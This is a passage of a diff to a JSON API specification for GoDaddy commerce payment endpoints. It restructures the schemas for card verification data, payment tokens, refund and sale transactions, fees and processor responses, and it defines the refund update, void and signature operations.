"cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "city": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "description": "City" + "writeOnly": true }, - "territory": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "description": "Territory" + "writeOnly": true }, - "territoryType": { + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" + "writeOnly": true }, - "country": { + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "description": "Country" + "writeOnly": true }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Card VerificationData", + "type": "object" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "title": "Address", + "type": "object" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Token VerificationData", + "type": "object" } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "sales": { + "description": "Sales for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "type": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "Discriminator type" + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } }, - "cryptogram": { - "type": "string" - } + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - } - } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", + "description": "Tip amount details", "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } }, - "required": [ - "type" - ] + "title": "PaymentContext", + "type": "object" } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Paypal token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } - }, - "required": [ - "sourceType" - ] - }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "updateRefundById", - "method": "PATCH", - "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}", - "summary": "Update Refund", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/merge-patch+json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Patch Transaction", - "type": "object", - "description": "Patch transaction", - "properties": { - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidRefundById", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}", - "summary": "Void Refund", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "addRefundSignatureByTransactionId", - "method": "POST", - "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}/signatures", - "summary": "Add Refund Signature", - "description": "Add refund signature by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "multipart/form-data", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - 